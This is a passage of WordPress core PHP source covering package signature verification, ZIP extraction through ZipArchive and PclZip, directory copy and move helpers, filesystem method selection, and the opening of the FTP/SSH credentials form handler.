	$file_hash    = hash_file( 'sha384', $filename, true );

	mbstring_binary_safe_encoding();

	$skipped_key       = 0;
	$skipped_signature = 0;

	foreach ( (array) $signatures as $signature ) {
		$signature_raw = base64_decode( $signature );

		// Ensure only valid-length signatures are considered.
		if ( SODIUM_CRYPTO_SIGN_BYTES !== strlen( $signature_raw ) ) {
			++$skipped_signature;
			continue;
		}

		foreach ( (array) $trusted_keys as $key ) {
			$key_raw = base64_decode( $key );

			// Only pass valid public keys through.
			if ( SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES !== strlen( $key_raw ) ) {
				++$skipped_key;
				continue;
			}

			if ( sodium_crypto_sign_verify_detached( $signature_raw, $file_hash, $key_raw ) ) {
				reset_mbstring_encoding();
				return true;
			}
		}
	}

	reset_mbstring_encoding();

	return new WP_Error(
		'signature_verification_failed',
		sprintf(
			/* translators: %s: The filename of the package. */
			__( 'The authenticity of %s could not be verified.' ),
			'<span class="code">' . esc_html( $filename_for_errors ) . '</span>'
		),
		// Error data helpful for debugging:
		array(
			'filename'    => $filename_for_errors,
			'keys'        => $trusted_keys,
			'signatures'  => $signatures,
			'hash'        => bin2hex( $file_hash ),
			'skipped_key' => $skipped_key,
			'skipped_sig' => $skipped_signature,
			'php'         => PHP_VERSION,
			'sodium'      => defined( 'SODIUM_LIBRARY_VERSION' ) ? SODIUM_LIBRARY_VERSION : ( defined( 'ParagonIE_Sodium_Compat::VERSION_STRING' ) ? ParagonIE_Sodium_Compat::VERSION_STRING : false ),
		)
	);
}

/**
 * Retrieves the list of signing keys trusted by WordPress.
 *
 * @since 5.2.0
 *
 * @return string[] Array of base64-encoded signing keys.
 */
function wp_trusted_keys() {
	$trusted_keys = array();

	if ( time() < 1617235200 ) {
		// WordPress.org Key #1 - This key is only valid before April 1st, 2021.
		$trusted_keys[] = 'fRPyrxb/MvVLbdsYi+OOEv4xc+Eqpsj+kkAS6gNOkI0=';
	}

	// TODO: Add key #2 with longer expiration.

	/**
	 * Filters the valid signing keys used to verify the contents of files.
	 *
	 * @since 5.2.0
	 *
	 * @param string[] $trusted_keys The trusted keys that may sign packages.
	 */
	return apply_filters( 'wp_trusted_keys', $trusted_keys );
}

/**
 * Determines whether the given file is a valid ZIP file.
 *
 * This function does not test to ensure that a file exists. Non-existent files
 * are not valid ZIPs, so those will also return false.
 *
 * @since 6.4.4
 *
 * @param string $file Full path to the ZIP file.
 * @return bool Whether the file is a valid ZIP file.
 */
function wp_zip_file_is_valid( $file ) {
	/** This filter is documented in wp-admin/includes/file.php */
	if ( class_exists( 'ZipArchive', false ) && apply_filters( 'unzip_file_use_ziparchive', true ) ) {
		$archive          = new ZipArchive();
		$archive_is_valid = $archive->open( $file, ZipArchive::CHECKCONS );
		if ( true === $archive_is_valid ) {
			$archive->close();
			return true;
		}
	}

	// Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file.
	require_once ABSPATH . 'wp-admin/includes/class-pclzip.php';

	$archive          = new PclZip( $file );
	$archive_is_valid = is_array( $archive->properties() );

	return $archive_is_valid;
}

/**
 * Unzips a specified ZIP file to a location on the filesystem via the WordPress
 * Filesystem Abstraction.
 *
 * Assumes that WP_Filesystem() has already been called and set up. Does not extract
 * a root-level __MACOSX directory, if present.
 *
 * Attempts to increase the PHP memory limit to 256M before uncompressing. However,
 * the most memory required shouldn't be much larger than the archive itself.
 *
 * @since 2.5.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string $file Full path and filename of ZIP archive.
 * @param string $to   Full path on the filesystem to extract archive to.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function unzip_file( $file, $to ) {
	global $wp_filesystem;

	if ( ! $wp_filesystem || ! is_object( $wp_filesystem ) ) {
		return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
	}

	// Unzip can use a lot of memory, but not this much hopefully.
	wp_raise_memory_limit( 'admin' );

	$needed_dirs = array();
	$to          = trailingslashit( $to );

	// Determine any parent directories needed (of the upgrade directory).
	if ( ! $wp_filesystem->is_dir( $to ) ) { // Only do parents if no children exist.
		$path = preg_split( '![/\\\]!', untrailingslashit( $to ) );
		for ( $i = count( $path ); $i >= 0; $i-- ) {
			if ( empty( $path[ $i ] ) ) {
				continue;
			}

			$dir = implode( '/', array_slice( $path, 0, $i + 1 ) );
			if ( preg_match( '!^[a-z]:$!i', $dir ) ) { // Skip it if it looks like a Windows Drive letter.
				continue;
			}

			if ( ! $wp_filesystem->is_dir( $dir ) ) {
				$needed_dirs[] = $dir;
			} else {
				break; // A folder exists, therefore we don't need to check the levels below this.
			}
		}
	}

	/**
	 * Filters whether to use ZipArchive to unzip archives.
	 *
	 * @since 3.0.0
	 *
	 * @param bool $ziparchive Whether to use ZipArchive. Default true.
	 */
	if ( class_exists( 'ZipArchive', false ) && apply_filters( 'unzip_file_use_ziparchive', true ) ) {
		$result = _unzip_file_ziparchive( $file, $to, $needed_dirs );
		if ( true === $result ) {
			return $result;
		} elseif ( is_wp_error( $result ) ) {
			if ( 'incompatible_archive' !== $result->get_error_code() ) {
				return $result;
			}
		}
	}
	// Fall through to PclZip if ZipArchive is not available, or encountered an error opening the file.
	return _unzip_file_pclzip( $file, $to, $needed_dirs );
}

/**
 * Attempts to unzip an archive using the ZipArchive class.
 *
 * This function should not be called directly, use `unzip_file()` instead.
 *
 * Assumes that WP_Filesystem() has already been called and set up.
 *
 * @since 3.0.0
 * @access private
 *
 * @see unzip_file()
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string   $file        Full path and filename of ZIP archive.
 * @param string   $to          Full path on the filesystem to extract archive to.
 * @param string[] $needed_dirs A partial list of required folders needed to be created.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function _unzip_file_ziparchive( $file, $to, $needed_dirs = array() ) {
	global $wp_filesystem;

	$z = new ZipArchive();

	$zopen = $z->open( $file, ZIPARCHIVE::CHECKCONS );

	if ( true !== $zopen ) {
		return new WP_Error( 'incompatible_archive', __( 'Incompatible Archive.' ), array( 'ziparchive_error' => $zopen ) );
	}

	$uncompressed_size = 0;

	for ( $i = 0; $i < $z->numFiles; $i++ ) {
		$info = $z->statIndex( $i );

		if ( ! $info ) {
			$z->close();
			return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );
		}

		if ( str_starts_with( $info['name'], '__MACOSX/' ) ) { // Skip the OS X-created __MACOSX directory.
			continue;
		}

		// Don't extract invalid files:
		if ( 0 !== validate_file( $info['name'] ) ) {
			continue;
		}

		$uncompressed_size += $info['size'];

		$dirname = dirname( $info['name'] );

		if ( str_ends_with( $info['name'], '/' ) ) {
			// Directory.
			$needed_dirs[] = $to . untrailingslashit( $info['name'] );
		} elseif ( '.' !== $dirname ) {
			// Path to a file.
			$needed_dirs[] = $to . untrailingslashit( $dirname );
		}
	}

	// Enough space to unzip the file and copy its contents, with a 10% buffer.
	$required_space = $uncompressed_size * 2.1;

	/*
	 * disk_free_space() could return false. Assume that any falsey value is an error.
	 * A disk that has zero free bytes has bigger problems.
	 * Require we have enough space to unzip the file and copy its contents, with a 10% buffer.
	 */
	if ( wp_doing_cron() ) {
		$available_space = function_exists( 'disk_free_space' ) ? @disk_free_space( WP_CONTENT_DIR ) : false;

		if ( $available_space && ( $required_space > $available_space ) ) {
			$z->close();
			return new WP_Error(
				'disk_full_unzip_file',
				__( 'Could not copy files. You may have run out of disk space.' ),
				compact( 'uncompressed_size', 'available_space' )
			);
		}
	}

	$needed_dirs = array_unique( $needed_dirs );

	foreach ( $needed_dirs as $dir ) {
		// Check the parent folders of the folders all exist within the creation array.
		if ( untrailingslashit( $to ) === $dir ) { // Skip over the working directory, we know this exists (or will exist).
			continue;
		}

		if ( ! str_contains( $dir, $to ) ) { // If the directory is not within the working directory, skip it.
			continue;
		}

		$parent_folder = dirname( $dir );

		while ( ! empty( $parent_folder )
			&& untrailingslashit( $to ) !== $parent_folder
			&& ! in_array( $parent_folder, $needed_dirs, true )
		) {
			$needed_dirs[] = $parent_folder;
			$parent_folder = dirname( $parent_folder );
		}
	}

	asort( $needed_dirs );

	// Create those directories if need be:
	foreach ( $needed_dirs as $_dir ) {
		// Only check to see if the Dir exists upon creation failure. Less I/O this way.
		if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) ) {
			$z->close();
			return new WP_Error( 'mkdir_failed_ziparchive', __( 'Could not create directory.' ), $_dir );
		}
	}

	/**
	 * Filters archive unzipping to override with a custom process.
	 *
	 * @since 6.4.0
	 *
	 * @param null|true|WP_Error $result         The result of the override. True on success, otherwise WP Error. Default null.
	 * @param string             $file           Full path and filename of ZIP archive.
	 * @param string             $to             Full path on the filesystem to extract archive to.
	 * @param string[]           $needed_dirs    A full list of required folders that need to be created.
	 * @param float              $required_space The space required to unzip the file and copy its contents, with a 10% buffer.
	 */
	$pre = apply_filters( 'pre_unzip_file', null, $file, $to, $needed_dirs, $required_space );

	if ( null !== $pre ) {
		// Ensure the ZIP file archive has been closed.
		$z->close();

		return $pre;
	}

	for ( $i = 0; $i < $z->numFiles; $i++ ) {
		$info = $z->statIndex( $i );

		if ( ! $info ) {
			$z->close();
			return new WP_Error( 'stat_failed_ziparchive', __( 'Could not retrieve file from archive.' ) );
		}

		if ( str_ends_with( $info['name'], '/' ) ) { // Directory.
			continue;
		}

		if ( str_starts_with( $info['name'], '__MACOSX/' ) ) { // Don't extract the OS X-created __MACOSX directory files.
			continue;
		}

		// Don't extract invalid files:
		if ( 0 !== validate_file( $info['name'] ) ) {
			continue;
		}

		$contents = $z->getFromIndex( $i );

		if ( false === $contents ) {
			$z->close();
			return new WP_Error( 'extract_failed_ziparchive', __( 'Could not extract file from archive.' ), $info['name'] );
		}

		if ( ! $wp_filesystem->put_contents( $to . $info['name'], $contents, FS_CHMOD_FILE ) ) {
			$z->close();
			return new WP_Error( 'copy_failed_ziparchive', __( 'Could not copy file.' ), $info['name'] );
		}
	}

	$z->close();

	/**
	 * Filters the result of unzipping an archive.
	 *
	 * @since 6.4.0
	 *
	 * @param true|WP_Error $result         The result of unzipping the archive. True on success, otherwise WP_Error. Default true.
	 * @param string        $file           Full path and filename of ZIP archive.
	 * @param string        $to             Full path on the filesystem the archive was extracted to.
	 * @param string[]      $needed_dirs    A full list of required folders that were created.
	 * @param float         $required_space The space required to unzip the file and copy its contents, with a 10% buffer.
	 */
	$result = apply_filters( 'unzip_file', true, $file, $to, $needed_dirs, $required_space );

	unset( $needed_dirs );

	return $result;
}

/**
 * Attempts to unzip an archive using the PclZip library.
 *
 * This function should not be called directly, use `unzip_file()` instead.
 *
 * Assumes that WP_Filesystem() has already been called and set up.
 *
 * @since 3.0.0
 * @access private
 *
 * @see unzip_file()
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string   $file        Full path and filename of ZIP archive.
 * @param string   $to          Full path on the filesystem to extract archive to.
 * @param string[] $needed_dirs A partial list of required folders needed to be created.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function _unzip_file_pclzip( $file, $to, $needed_dirs = array() ) {
	global $wp_filesystem;

	mbstring_binary_safe_encoding();

	require_once ABSPATH . 'wp-admin/includes/class-pclzip.php';

	$archive = new PclZip( $file );

	$archive_files = $archive->extract( PCLZIP_OPT_EXTRACT_AS_STRING );

	reset_mbstring_encoding();

	// Is the archive valid?
	if ( ! is_array( $archive_files ) ) {
		return new WP_Error( 'incompatible_archive', __( 'Incompatible Archive.' ), $archive->errorInfo( true ) );
	}

	if ( 0 === count( $archive_files ) ) {
		return new WP_Error( 'empty_archive_pclzip', __( 'Empty archive.' ) );
	}

	$uncompressed_size = 0;

	// Determine any children directories needed (From within the archive).
	foreach ( $archive_files as $file ) {
		if ( str_starts_with( $file['filename'], '__MACOSX/' ) ) { // Skip the OS X-created __MACOSX directory.
			continue;
		}

		$uncompressed_size += $file['size'];

		$needed_dirs[] = $to . untrailingslashit( $file['folder'] ? $file['filename'] : dirname( $file['filename'] ) );
	}

	// Enough space to unzip the file and copy its contents, with a 10% buffer.
	$required_space = $uncompressed_size * 2.1;

	/*
	 * disk_free_space() could return false. Assume that any falsey value is an error.
	 * A disk that has zero free bytes has bigger problems.
	 * Require we have enough space to unzip the file and copy its contents, with a 10% buffer.
	 */
	if ( wp_doing_cron() ) {
		$available_space = function_exists( 'disk_free_space' ) ? @disk_free_space( WP_CONTENT_DIR ) : false;

		if ( $available_space && ( $required_space > $available_space ) ) {
			return new WP_Error(
				'disk_full_unzip_file',
				__( 'Could not copy files. You may have run out of disk space.' ),
				compact( 'uncompressed_size', 'available_space' )
			);
		}
	}

	$needed_dirs = array_unique( $needed_dirs );

	foreach ( $needed_dirs as $dir ) {
		// Check the parent folders of the folders all exist within the creation array.
		if ( untrailingslashit( $to ) === $dir ) { // Skip over the working directory, we know this exists (or will exist).
			continue;
		}

		if ( ! str_contains( $dir, $to ) ) { // If the directory is not within the working directory, skip it.
			continue;
		}

		$parent_folder = dirname( $dir );

		while ( ! empty( $parent_folder )
			&& untrailingslashit( $to ) !== $parent_folder
			&& ! in_array( $parent_folder, $needed_dirs, true )
		) {
			$needed_dirs[] = $parent_folder;
			$parent_folder = dirname( $parent_folder );
		}
	}

	asort( $needed_dirs );

	// Create those directories if need be:
	foreach ( $needed_dirs as $_dir ) {
		// Only check to see if the dir exists upon creation failure. Less I/O this way.
		if ( ! $wp_filesystem->mkdir( $_dir, FS_CHMOD_DIR ) && ! $wp_filesystem->is_dir( $_dir ) ) {
			return new WP_Error( 'mkdir_failed_pclzip', __( 'Could not create directory.' ), $_dir );
		}
	}

	/** This filter is documented in src/wp-admin/includes/file.php */
	$pre = apply_filters( 'pre_unzip_file', null, $file, $to, $needed_dirs, $required_space );

	if ( null !== $pre ) {
		return $pre;
	}

	// Extract the files from the zip.
	foreach ( $archive_files as $file ) {
		if ( $file['folder'] ) {
			continue;
		}

		if ( str_starts_with( $file['filename'], '__MACOSX/' ) ) { // Don't extract the OS X-created __MACOSX directory files.
			continue;
		}

		// Don't extract invalid files:
		if ( 0 !== validate_file( $file['filename'] ) ) {
			continue;
		}

		if ( ! $wp_filesystem->put_contents( $to . $file['filename'], $file['content'], FS_CHMOD_FILE ) ) {
			return new WP_Error( 'copy_failed_pclzip', __( 'Could not copy file.' ), $file['filename'] );
		}
	}

	/** This action is documented in src/wp-admin/includes/file.php */
	$result = apply_filters( 'unzip_file', true, $file, $to, $needed_dirs, $required_space );

	unset( $needed_dirs );

	return $result;
}

/**
 * Copies a directory from one location to another via the WordPress Filesystem
 * Abstraction.
 *
 * Assumes that WP_Filesystem() has already been called and setup.
 *
 * @since 2.5.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string   $from      Source directory.
 * @param string   $to        Destination directory.
 * @param string[] $skip_list An array of files/folders to skip copying.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function copy_dir( $from, $to, $skip_list = array() ) {
	global $wp_filesystem;

	$dirlist = $wp_filesystem->dirlist( $from );

	if ( false === $dirlist ) {
		return new WP_Error( 'dirlist_failed_copy_dir', __( 'Directory listing failed.' ), basename( $from ) );
	}

	$from = trailingslashit( $from );
	$to   = trailingslashit( $to );

	if ( ! $wp_filesystem->exists( $to ) && ! $wp_filesystem->mkdir( $to ) ) {
		return new WP_Error(
			'mkdir_destination_failed_copy_dir',
			__( 'Could not create the destination directory.' ),
			basename( $to )
		);
	}

	foreach ( (array) $dirlist as $filename => $fileinfo ) {
		if ( in_array( $filename, $skip_list, true ) ) {
			continue;
		}

		if ( 'f' === $fileinfo['type'] ) {
			if ( ! $wp_filesystem->copy( $from . $filename, $to . $filename, true, FS_CHMOD_FILE ) ) {
				// If copy failed, chmod file to 0644 and try again.
				$wp_filesystem->chmod( $to . $filename, FS_CHMOD_FILE );

				if ( ! $wp_filesystem->copy( $from . $filename, $to . $filename, true, FS_CHMOD_FILE ) ) {
					return new WP_Error( 'copy_failed_copy_dir', __( 'Could not copy file.' ), $to . $filename );
				}
			}

			wp_opcache_invalidate( $to . $filename );
		} elseif ( 'd' === $fileinfo['type'] ) {
			if ( ! $wp_filesystem->is_dir( $to . $filename ) ) {
				if ( ! $wp_filesystem->mkdir( $to . $filename, FS_CHMOD_DIR ) ) {
					return new WP_Error( 'mkdir_failed_copy_dir', __( 'Could not create directory.' ), $to . $filename );
				}
			}

			// Generate the $sub_skip_list for the subdirectory as a sub-set of the existing $skip_list.
			$sub_skip_list = array();

			foreach ( $skip_list as $skip_item ) {
				if ( str_starts_with( $skip_item, $filename . '/' ) ) {
					$sub_skip_list[] = preg_replace( '!^' . preg_quote( $filename, '!' ) . '/!i', '', $skip_item );
				}
			}

			$result = copy_dir( $from . $filename, $to . $filename, $sub_skip_list );

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}
	}

	return true;
}

/**
 * Moves a directory from one location to another.
 *
 * Recursively invalidates OPcache on success.
 *
 * If the renaming failed, falls back to copy_dir().
 *
 * Assumes that WP_Filesystem() has already been called and setup.
 *
 * This function is not designed to merge directories, copy_dir() should be used instead.
 *
 * @since 6.2.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string $from      Source directory.
 * @param string $to        Destination directory.
 * @param bool   $overwrite Optional. Whether to overwrite the destination directory if it exists.
 *                          Default false.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function move_dir( $from, $to, $overwrite = false ) {
	global $wp_filesystem;

	if ( trailingslashit( strtolower( $from ) ) === trailingslashit( strtolower( $to ) ) ) {
		return new WP_Error( 'source_destination_same_move_dir', __( 'The source and destination are the same.' ) );
	}

	if ( $wp_filesystem->exists( $to ) ) {
		if ( ! $overwrite ) {
			return new WP_Error( 'destination_already_exists_move_dir', __( 'The destination folder already exists.' ), $to );
		} elseif ( ! $wp_filesystem->delete( $to, true ) ) {
			// Can't overwrite if the destination couldn't be deleted.
			return new WP_Error( 'destination_not_deleted_move_dir', __( 'The destination directory already exists and could not be removed.' ) );
		}
	}

	if ( $wp_filesystem->move( $from, $to ) ) {
		/*
		 * When using an environment with shared folders,
		 * there is a delay in updating the filesystem's cache.
		 *
		 * This is a known issue in environments with a VirtualBox provider.
		 *
		 * A 200ms delay gives time for the filesystem to update its cache,
		 * prevents "Operation not permitted", and "No such file or directory" warnings.
		 *
		 * This delay is used in other projects, including Composer.
		 * @link https://github.com/composer/composer/blob/2.5.1/src/Composer/Util/Platform.php#L228-L233
		 */
		usleep( 200000 );
		wp_opcache_invalidate_directory( $to );

		return true;
	}

	// Fall back to a recursive copy.
	if ( ! $wp_filesystem->is_dir( $to ) ) {
		if ( ! $wp_filesystem->mkdir( $to, FS_CHMOD_DIR ) ) {
			return new WP_Error( 'mkdir_failed_move_dir', __( 'Could not create directory.' ), $to );
		}
	}

	$result = copy_dir( $from, $to, array( basename( $to ) ) );

	// Clear the source directory.
	if ( true === $result ) {
		$wp_filesystem->delete( $from, true );
	}

	return $result;
}

/**
 * Initializes and connects the WordPress Filesystem Abstraction classes.
 *
 * This function will include the chosen transport and attempt connecting.
 *
 * Plugins may add extra transports, And force WordPress to use them by returning
 * the filename via the {@see 'filesystem_method_file'} filter.
 *
 * @since 2.5.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param array|false  $args                         Optional. Connection args, These are passed
 *                                                   directly to the `WP_Filesystem_*()` classes.
 *                                                   Default false.
 * @param string|false $context                      Optional. Context for get_filesystem_method().
 *                                                   Default false.
 * @param bool         $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
 *                                                   Default false.
 * @return bool|null True on success, false on failure,
 *                   null if the filesystem method class file does not exist.
 */
function WP_Filesystem( $args = false, $context = false, $allow_relaxed_file_ownership = false ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionNameInvalid
	global $wp_filesystem;

	require_once ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php';

	$method = get_filesystem_method( $args, $context, $allow_relaxed_file_ownership );

	if ( ! $method ) {
		return false;
	}

	if ( ! class_exists( "WP_Filesystem_$method" ) ) {

		/**
		 * Filters the path for a specific filesystem method class file.
		 *
		 * @since 2.6.0
		 *
		 * @see get_filesystem_method()
		 *
		 * @param string $path   Path to the specific filesystem method class file.
		 * @param string $method The filesystem method to use.
		 */
		$abstraction_file = apply_filters( 'filesystem_method_file', ABSPATH . 'wp-admin/includes/class-wp-filesystem-' . $method . '.php', $method );

		if ( ! file_exists( $abstraction_file ) ) {
			return;
		}

		require_once $abstraction_file;
	}
	$method = "WP_Filesystem_$method";

	$wp_filesystem = new $method( $args );

	/*
	 * Define the timeouts for the connections. Only available after the constructor is called
	 * to allow for per-transport overriding of the default.
	 */
	if ( ! defined( 'FS_CONNECT_TIMEOUT' ) ) {
		define( 'FS_CONNECT_TIMEOUT', 30 ); // 30 seconds.
	}
	if ( ! defined( 'FS_TIMEOUT' ) ) {
		define( 'FS_TIMEOUT', 30 ); // 30 seconds.
	}

	if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
		return false;
	}

	if ( ! $wp_filesystem->connect() ) {
		return false; // There was an error connecting to the server.
	}

	// Set the permission constants if not already set.
	if ( ! defined( 'FS_CHMOD_DIR' ) ) {
		define( 'FS_CHMOD_DIR', ( fileperms( ABSPATH ) & 0777 | 0755 ) );
	}
	if ( ! defined( 'FS_CHMOD_FILE' ) ) {
		define( 'FS_CHMOD_FILE', ( fileperms( ABSPATH . 'index.php' ) & 0777 | 0644 ) );
	}

	return true;
}

/**
 * Determines which method to use for reading, writing, modifying, or deleting
 * files on the filesystem.
 *
 * The priority of the transports are: Direct, SSH2, FTP PHP Extension, FTP Sockets
 * (Via Sockets class, or `fsockopen()`). Valid values for these are: 'direct', 'ssh2',
 * 'ftpext' or 'ftpsockets'.
 *
 * The return value can be overridden by defining the `FS_METHOD` constant in `wp-config.php`,
 * or filtering via {@see 'filesystem_method'}.
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/#wordpress-upgrade-constants
 *
 * Plugins may define a custom transport handler, See WP_Filesystem().
 *
 * @since 2.5.0
 *
 * @global callable $_wp_filesystem_direct_method
 *
 * @param array  $args                         Optional. Connection details. Default empty array.
 * @param string $context                      Optional. Full path to the directory that is tested
 *                                             for being writable. Default empty.
 * @param bool   $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
 *                                             Default false.
 * @return string The transport to use, see description for valid return values.
 */
function get_filesystem_method( $args = array(), $context = '', $allow_relaxed_file_ownership = false ) {
	// Please ensure that this is either 'direct', 'ssh2', 'ftpext', or 'ftpsockets'.
	$method = defined( 'FS_METHOD' ) ? FS_METHOD : false;

	if ( ! $context ) {
		$context = WP_CONTENT_DIR;
	}

	// If the directory doesn't exist (wp-content/languages) then use the parent directory as we'll create it.
	if ( WP_LANG_DIR === $context && ! is_dir( $context ) ) {
		$context = dirname( $context );
	}

	$context = trailingslashit( $context );

	if ( ! $method ) {

		$temp_file_name = $context . 'temp-write-test-' . str_replace( '.', '-', uniqid( '', true ) );
		$temp_handle    = @fopen( $temp_file_name, 'w' );
		if ( $temp_handle ) {

			// Attempt to determine the file owner of the WordPress files, and that of newly created files.
			$wp_file_owner   = false;
			$temp_file_owner = false;
			if ( function_exists( 'fileowner' ) ) {
				$wp_file_owner   = @fileowner( __FILE__ );
				$temp_file_owner = @fileowner( $temp_file_name );
			}

			if ( false !== $wp_file_owner && $wp_file_owner === $temp_file_owner ) {
				/*
				 * WordPress is creating files as the same owner as the WordPress files,
				 * this means it's safe to modify & create new files via PHP.
				 */
				$method                                  = 'direct';
				$GLOBALS['_wp_filesystem_direct_method'] = 'file_owner';
			} elseif ( $allow_relaxed_file_ownership ) {
				/*
				 * The $context directory is writable, and $allow_relaxed_file_ownership is set,
				 * this means we can modify files safely in this directory.
				 * This mode doesn't create new files, only alter existing ones.
				 */
				$method                                  = 'direct';
				$GLOBALS['_wp_filesystem_direct_method'] = 'relaxed_ownership';
			}

			fclose( $temp_handle );
			@unlink( $temp_file_name );
		}
	}

	if ( ! $method && isset( $args['connection_type'] ) && 'ssh' === $args['connection_type'] && extension_loaded( 'ssh2' ) ) {
		$method = 'ssh2';
	}
	if ( ! $method && extension_loaded( 'ftp' ) ) {
		$method = 'ftpext';
	}
	if ( ! $method && ( extension_loaded( 'sockets' ) || function_exists( 'fsockopen' ) ) ) {
		$method = 'ftpsockets'; // Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread.
	}

	/**
	 * Filters the filesystem method to use.
	 *
	 * @since 2.6.0
	 *
	 * @param string $method                       Filesystem method to return.
	 * @param array  $args                         An array of connection details for the method.
	 * @param string $context                      Full path to the directory that is tested for being writable.
	 * @param bool   $allow_relaxed_file_ownership Whether to allow Group/World writable.
	 */
	return apply_filters( 'filesystem_method', $method, $args, $context, $allow_relaxed_file_ownership );
}

/**
 * Displays a form to the user to request for their FTP/SSH details in order
 * to connect to the filesystem.
 *
 * All chosen/entered details are saved, excluding the password.
 *
 * Hostnames may be in the form of hostname:portnumber (eg: wordpress.org:2467)
 * to specify an alternate FTP/SSH port.
 *
 * Plugins may override this form by returning true|false via the {@see 'request_filesystem_credentials'} filter.
 *
 * @since 2.5.0
 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
 *
 * @global string $pagenow The filename of the current screen.
 *
 * @param string        $form_post                    The URL to post the form to.
 * @param string        $type                         Optional. Chosen type of filesystem. Default empty.
 * @param bool|WP_Error $error                        Optional. Whether the current request has failed
 *                                                    to connect, or an error object. Default false.
 * @param string        $context                      Optional. Full path to the directory that is tested
 *                                                    for being writable. Default empty.
 * @param array         $extra_fields                 Optional. Extra `POST` fields to be checked
 *                                                    for inclusion in the post. Default null.
 * @param bool          $allow_relaxed_file_ownership Optional. Whether to allow Group/World writable.
 *                                                    Default false.
 * @return bool|array True if no filesystem credentials are required,
 *                    false if they are required but have not been provided,
 *                    array of credentials if they are required and have been provided.
 */
function request_filesystem_credentials( $form_post, $type = '', $error = false, $context = '', $extra_fields = null, $allow_relaxed_file_ownership = false ) {
	global $pagenow;

	/**
	 * Filters the filesystem credentials.
	 *
	 * Returning anything other than an empty string will effectively short-circuit
	 * output of the filesystem credentials form, returning that value instead.
	 *
	 * A filter should return true if no filesystem credentials are required, false if they are required but have not been
	 * provided, or an array of credentials if they are required and have been provided.
	 *
	 * @since 2.5.0
	 * @since 4.6.0 The `$context` parameter default changed from `false` to an empty string.
	 *
	 * @param mixed         $credentials                  Credentials to return instead. Default empty string.
	 * @param string        $form_post                    The URL to post the form to.
	 * @param string        $type                         Chosen type of filesystem.
	 * @param bool|WP_Error $error                        Whether the current request has failed to connect,
	 *                                                    or an error object.
	 * @param string        $context                      Full path to the directory that is tested for
	 *                                                    being writable.
	 * @param array         $extra_fields                 Extra POST fields.
	 * @param bool          $allow_relaxed_file_ownership Whether to allow Group/World writable.
	 */
	$req_cred = apply_filters( 'request_filesystem_credentials', '', $form_post, $type, $error, $context, $extra_fields, $allow_relaxed_file_ownership );

	if ( '' !== $req_cred ) {
		return $req_cred;
	}

	if ( empty( $type ) ) {
		$type = get_filesystem_method( array(), $context, $allow_relaxed_file_ownership );
	}

	if ( 'direct' === $type ) {
		return true;
	}

	if ( is_null( $extra_fields ) ) {
		$extra_fields = array( 'version', 'locale' );
	}

	$credentials = get_option(
		'ftp_credentials',
		array(
			'hostname' => '',
			'username' => '',
		)
	);

	$submitted_form = wp_unslash( $_POST );

	// Verify nonce, or unset submitted form field values on failure.
	if ( ! isset( $_POST['_fs_nonce'] ) || ! wp_verify_nonce( $_POST['_fs_nonce'], 'filesystem-credentials' ) ) {
		unset(
			$submitted_form['hostname'],
			$submitted_form['username'],
			$submitted_form['password'],
			$submitted_form['public_key'],
			$submitted_form['private_key'],
			$submitted_form['connection_type']
		);
	}

	$ftp_constants = array(
		'hostname'    => 'FTP_HOST',
		'username'    => 'FTP_USER',
		'password'    => 'FTP_PASS',
		'public_key'  => 'FTP_PUBKEY',
		'private_key' => 'FTP_PRIKEY',
	);

	/*
	 * If defined, set it to that. Else, if POST'd, set it to that. If not, set it to an empty string.
	 * Otherwise, keep it as it previously was (saved details in option).
	 */
	foreach ( $ftp_constants as $key => $constant ) {
		if ( defined( $constant ) ) {
			$credentials[ $key ] = constant( $constant );
		} elseif ( ! empty( $submitted_form[ $key ] ) ) {
			$credentials[ $key ] = $submitted_form[ $key ];
		} elseif ( ! isset( $credentials[ $key ] ) ) {
			$credentials[ $key ] = '';
		}
	}

	// Sanitize the hostname, some people might pass in odd data.
	$credentials['hostname'] = preg_replace( '|\w+://|', '', $credentials['hostname'] ); // Strip any schemes off.

	if ( strpos( $credentials['hostname'], ':' ) ) {
		list( $credentials['hostname'], $credentials['port'] ) = explode( ':', $credentials['hostname'], 2 );
		if ( ! is_numeric( $credentials['port'] ) ) {
			unset( $credentials['port'] );
		}
	} else {
		unset( $credentials['port'] );
	}

	if ( ( defined( 'FTP_SSH' ) && FTP_SSH ) || ( defined( 'FS_METHOD' ) && 'ssh2' === FS_METHOD ) ) {
		$credentials['connection_type'] = 'ssh';
	} elseif ( ( defined( 'FTP_SSL' ) && FTP_SSL ) && 'ftpext' === $type ) { // Only the FTP Extension understands SSL.
		$credentials['connection_type'] = 'ftps';
	} elseif ( ! empty( $submitted_form['connection_type'] ) ) {
		$credentials['connection_type'] = $submitted_form['connection_type'];
	} elseif ( ! isset( $credentials['connection_type'] ) ) { // All else fails (and it's not defaulted to something else saved), default to FTP.
		$credentials['connection_type'] = 'ftp';
	}

	if ( ! $error
